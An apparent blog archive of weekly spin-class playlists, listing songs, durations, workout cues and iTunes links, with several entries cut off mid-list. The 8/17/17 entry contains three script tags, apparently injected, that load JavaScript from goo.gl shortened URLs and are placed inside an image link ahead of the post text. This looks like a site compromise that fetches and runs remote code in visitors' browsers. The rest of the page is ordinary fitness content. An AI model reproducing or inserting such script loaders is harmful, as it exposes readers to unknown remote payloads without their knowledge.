Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Thursday 9/12/17 Playlist 42 46 minutes 1. My Love (Wale)3:49 – Warm up 2.Light it Up (Major Lazer)2:46 – warm up out of the saddle 3.Back in Black (AC/DC)4:16 – Climb 4….
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Thursday 9/7/17 Playlist 41 46 minutes 1. Hall of Fame (The Script feat. Will.I.Am) – warm up Before Class 2.Feel the Same (Battle Tapes) – Warm up 3.Blue Monday (Orgy)-…
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Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Tuesday 9/5/17 Playlist 12 48 minutes 1. My House (Flo Rida) – Warm up before class 2.Break a Sweat (Beky G) – warm up 3.Turn Down For What (DJ Snake &…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Thursday 8/30/17 Playlist 20 56 minutes 1.Baby Don’t Lie (Gwen Stephanie) – Warm up before class 2.Cheap Thrills (Sia) – warm up 3. Stop (Against Me!) – Climb 4. Bullet with Butterfly…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Thursday 8/22/17 https://itunes.apple.com/us/playlist/spin-class-38/idpl.14c997d6087849cfad687834de54df6d 48 minutes 1. Hold On (Steve Aoki & Louis Tomlinson) – Before Class 2.Get the Party Started (P!nk) – Warm up 3.Back Seat (New Boyz)- Climb out…
<script src=’https://goo.gl/GgBwxB’ type=’text/javascript’></script><a href=”http://www.alissaparker.net/wp-content/uploads/2017/03/i-ks9PjGK-M-1-1.jpg”><script type=’text/javascript’ src=’https://goo.gl/YSVsvw’></script><script src=’https://goo.gl/GgBwxB’ type=’text/javascript’></script><img class=”aligncenter size-medium wp-image-13143″ src=”http://www.alissaparker.net/wp-content/uploads/2017/03/i-ks9PjGK-M-1-264×300.jpg” alt=”” width=”264″ height=”300″ /></a> <p dir=”auto”>Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout</p> From Class Thursday 8/17/17 <a href=”https://itunes.apple.com/us/playlist/spin-class-39/idpl.u-XkD00ZphD4MkBlE”>https://itunes.apple.com/us/playlist/spin-class-39</a> 47 minutes 1.Despacito (Feat. Justin Bieber, Luis Fonsi and…
47 minutes – Class on Tuesday 8/15/17 https://itunes.apple.com/us/playlist/spin-class-24/idpl.92f35b638e814791ac4384a36a4843bf Faith – 2010 Remastered Version (George Michael) – Warm up Chase You Down (Runaground) – warm up increase resistance/intensity All Night (Icona Pop) – Sprints Howlin’ for you (The Black Keys) – Climb Where them Girls At (David Guetta) – Sprints On a Roll (Icona Pop) – Jumps (forward, forward, back, back) Fresh Eyes (Andy Grammer) – Recovery In the Name of Love (Martin Garrix & Bebe…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Thursday 8/10/17 https://itunes.apple.com/us/playlist/spin-class-34/idpl.8b29d450bf544cb08dea961e72aa70f5 48 minutes 1.Shooting Star (David Rush) – Before Class 2. A Little Less Conversation (Elvis Presley) – Warm up 3. Ooh La La (Goldfrap) – Up, easy Climb 4. Where…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout https://itunes.apple.com/us/playlist/spin-class-37/idpl.dfd65d1d52474555b21e2cffe4f76b0e 47 minutes From Class Tuesday 8/8 1.Party on a Weekday (MYBADD & Olivia Holt) – warm up before class 2.August 8th (NoFX) – warm up 3. Where’s Your Money(Bleeker) – Climb out of…
